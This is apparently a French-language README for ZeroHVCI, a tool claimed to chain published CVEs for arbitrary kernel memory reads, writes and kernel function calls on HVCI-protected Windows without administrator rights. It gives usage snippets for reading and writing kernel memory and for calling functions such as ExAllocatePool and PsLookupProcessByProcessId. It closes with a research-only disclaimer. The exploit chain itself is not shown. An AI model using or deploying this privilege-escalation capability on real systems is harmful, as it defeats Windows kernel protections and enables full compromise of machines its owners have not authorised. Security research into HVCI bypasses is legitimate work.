
Réaliser des lectures/écritures/appels de fonctions arbitraires dans le noyau dans des environnements protégés par Hypervisor-Protected Code Integrity (HVCI), sans autorisations administrateur ni pilotes noyau.
ZeroHVCI effectue des lectures/écritures noyau arbitraires et des appels de fonctions dans des environnements protégés par Hypervisor-Protected Code Integrity (HVCI), sans autorisations administrateur ni pilotes noyau.

Pour commencer avec ZeroHVCI, vous pouvez cloner ce dépôt et compiler le projet.
//
// Read kernel memory example:
//
ReadKernelMemory(source_address, buffer_address, size);
//
// Write kernel memory example:
//
WriteKernelMemory(source_address, buffer_address, size);
//
// Kernel function calling example via name:
//
KF::CallKernelFunctionViaName<kernel_param_type1, kernel_param_type2, kernel_param_type3>(
"kernel_function_name",
param1,
param2,
param3);
//
// ExAllocatePool example:
//
KF::CallKernelFunctionViaName<PVOID, POOL_TYPE, SIZE_T>("ExAllocatePool", PoolType, Size);
//
// memcpy example:
//
KF::CallKernelFunctionViaName<PVOID, PVOID, PVOID, SIZE_T>("memcpy", Dst, Src, Size);
//
// PsLookupProcessByProcessId example:
//
PEPROCESS Process;
KF::CallKernelFunctionViaName<NTSTATUS, HANDLE, PEPROCESS*>("PsLookupProcessByProcessId", ProcessHandle, &Process);
Deux projets principaux rendent cela possible
Démontre comment des CVE publiées peuvent être enchaînées pour accéder au noyau dans des environnements protégés par HVCI. Utile pour les chercheurs en sécurité qui étudient l'intégrité du noyau Windows et les mesures d'atténuation des contournements de HVCI.
Cr4sh pour KernelForge
varwara pour son POC POC2
Eric Egsgard pour sa présentation
Uniquement pour la recherche en sécurité éducative et autorisée. Ne l'utilisez pas sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. Je ne suis pas responsable de toute mauvaise utilisation. Utilisation à vos propres risques.
Tous les noms de produits, marques commerciales et marques déposées mentionnés sont la propriété de leurs détenteurs respectifs.